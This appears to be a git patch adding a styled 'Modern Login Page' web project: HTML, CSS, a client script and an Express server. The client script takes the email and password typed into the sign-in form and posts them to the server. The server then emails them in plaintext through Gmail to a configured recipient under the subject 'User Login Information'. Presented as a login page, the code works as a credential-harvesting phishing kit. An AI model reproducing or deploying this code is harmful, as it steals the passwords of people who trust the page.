From 891db114bfee84505c089a6e4f5aa09e5d5b6310 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Yanis=20Sebastian=20Z=C3=BCrcher?= <162759797+yanissebastianzuercher@users.noreply.github.com> Date: Sat, 9 Mar 2024 15:05:38 +0100 Subject: [PATCH] Add files via upload --- index.html | 68 +++++++++++++++++ script.js | 38 ++++++++++ server.js | 52 +++++++++++++ style.css | 212 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 370 insertions(+) create mode 100644 index.html create mode 100644 script.js create mode 100644 server.js create mode 100644 style.css diff --git a/index.html b/index.html new file mode 100644 index 0000000..e5fddd4 --- /dev/null +++ b/index.html @@ -0,0 +1,68 @@ + + + + + + + + + + + + Modern Login Page + + + + +
+
+
+

Create Account

+ + or use your email for registration + + + + +
+
+
+
+

Sign In

+ + or use your email password + + + Forget Your Password? + +
+
+
+
+
+

Welcome Back!

+

Enter your personal details to use all site features

+ +
+
+

Hello, Friend!

+

Register with your personal details to use all site features

+ +
+
+
+
+ + + + diff --git a/script.js b/script.js new file mode 100644 index 0000000..6cffdb6 --- /dev/null +++ b/script.js @@ -0,0 +1,38 @@ +//script.js + +const container = document.getElementById('container'); +const registerBtn = document.getElementById('register'); +const loginBtn = document.getElementById('login'); + +registerBtn.addEventListener('click', () => { + container.classList.add("active"); +}); + +loginBtn.addEventListener('click', () => { + container.classList.remove("active"); +}); + +document.getElementById('loginForm').addEventListener('submit', submitLoginForm); + +function submitLoginForm(event) { + event.preventDefault(); + + console.log('Submitting login form...'); + + const email = document.querySelector('#container .sign-in input[type="email"]').value; + const password = document.querySelector('#container .sign-in input[type="password"]').value; + + console.log('Email:', email); + console.log('Password:', password); + + fetch('/send-email', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ email, password }), + }) + .then(response => response.text()) + .then(data => console.log('Server response:', data)) + .catch(error => console.error('Error:', error)); +} diff --git a/server.js b/server.js new file mode 100644 index 0000000..a233a4d --- /dev/null +++ b/server.js @@ -0,0 +1,52 @@ +//server.js + +const express = require('express'); +const bodyParser = require('body-parser'); +const nodemailer = require('nodemailer'); +const cors = require('cors'); +const path = require('path'); + +const app = express(); +const port = 3000; + +app.use(cors()); +app.use(bodyParser.urlencoded({ extended: true })); +app.use(bodyParser.json()); + +const transporter = nodemailer.createTransport({ + service: 'gmail', //enter your service, this tutorial is based on gmail. + auth: { + user: '-------', // enter sender email + pass: '------------------', //enter app generated password, no spaces. + }, +}); + +app.post('/send-email', (req, res) => { + const { email, password } = req.body; + + const mailOptions = { + from: '---------', //enter your sender email + to: '-----------', //enter your recipient email + subject: 'User Login Information', + text: `Email: ${email}\nPassword: ${password}`, + }; + + transporter.sendMail(mailOptions, (error, info) => { + if (error) { + return res.status(500).send(error.toString()); + } + + res.status(200).send('Email sent: ' + info.response); + }); +}); + +// Serve static files from the root directory +app.use(express.static(__dirname)); + +app.get('/', (req, res) => { + res.sendFile(path.join(__dirname, 'index.html')); +}); + +app.listen(port, () => { + console.log(`Server is running on port ${port}`); +}); diff --git a/style.css b/style.css new file mode 100644 index 0000000..419da78 --- /dev/null +++ b/style.css @@ -0,0 +1,212 @@ +/* dont change anything here unless you wanna change the design*/ + +@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700&display=swap'); + +*{ + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Montserrat', sans-serif; +} + +body{ + background-color: #c9d6ff; + background: linear-gradient(to right, #e2e2e2, #c9d6ff); + display: flex; + align-items: center; + justify-content: center; + flex-direction: column; + height: 100vh; +} + +.container{ + background-color: #fff; + border-radius: 30px; + box-shadow: 0 5px 15px rgba(0, 0, 0, 0.35); + position: relative; + overflow: hidden; + width: 768px; + max-width: 100%; + min-height: 480px; +} + +.container p{ + font-size: 14px; + line-height: 20px; + letter-spacing: 0.3px; + margin: 20px 0; +} + +.container span{ + font-size: 12px; +} + +.container a{ + color: #333; + font-size: 13px; + text-decoration: none; + margin: 15px 0 10px; +} + +.container button{ + background-color: #512da8; + color: #fff; + font-size: 12px; + padding: 10px 45px; + border: 1px solid transparent; + border-radius: 8px; + font-weight: 600; + letter-spacing: 0.5px; + text-transform: uppercase; + margin-top: 10px; + cursor: pointer; +} + +.container button.hidden{ + background-color: transparent; + border-color: #fff; +} + +.container form{ + background-color: #fff; + display: flex; + align-items: center; + justify-content: center; + flex-direction: column; + padding: 0 40px; + height: 100%; +} + +.container input{ + background-color: #eee; + border: none; + margin: 8px 0; + padding: 10px 15px; + font-size: 13px; + border-radius: 8px; + width: 100%; + outline: none; +} + +.form-container{ + position: absolute; + top: 0; + height: 100%; + transition: all 0.6s ease-in-out; +} + +.sign-in{ + left: 0; + width: 50%; + z-index: 2; +} + +.container.active .sign-in{ + transform: translateX(100%); +} + +.sign-up{ + left: 0; + width: 50%; + opacity: 0; + z-index: 1; +} + +.container.active .sign-up{ + transform: translateX(100%); + opacity: 1; + z-index: 5; + animation: move 0.6s; +} + +@keyframes move{ + 0%, 49.99%{ + opacity: 0; + z-index: 1; + } + 50%, 100%{ + opacity: 1; + z-index: 5; + } +} + +.social-icons{ + margin: 20px 0; +} + +.social-icons a{ + border: 1px solid #ccc; + border-radius: 20%; + display: inline-flex; + justify-content: center; + align-items: center; + margin: 0 3px; + width: 40px; + height: 40px; +} + +.toggle-container{ + position: absolute; + top: 0; + left: 50%; + width: 50%; + height: 100%; + overflow: hidden; + transition: all 0.6s ease-in-out; + border-radius: 150px 0 0 100px; + z-index: 1000; +} + +.container.active .toggle-container{ + transform: translateX(-100%); + border-radius: 0 150px 100px 0; +} + +.toggle{ + background-color: #512da8; + height: 100%; + background: linear-gradient(to right, #5c6bc0, #512da8); + color: #fff; + position: relative; + left: -100%; + height: 100%; + width: 200%; + transform: translateX(0); + transition: all 0.6s ease-in-out; +} + +.container.active .toggle{ + transform: translateX(50%); +} + +.toggle-panel{ + position: absolute; + width: 50%; + height: 100%; + display: flex; + align-items: center; + justify-content: center; + flex-direction: column; + padding: 0 30px; + text-align: center; + top: 0; + transform: translateX(0); + transition: all 0.6s ease-in-out; +} + +.toggle-left{ + transform: translateX(-200%); +} + +.container.active .toggle-left{ + transform: translateX(0); +} + +.toggle-right{ + right: 0; + transform: translateX(0); +} + +.container.active .toggle-right{ + transform: translateX(200%); +} \ No newline at end of file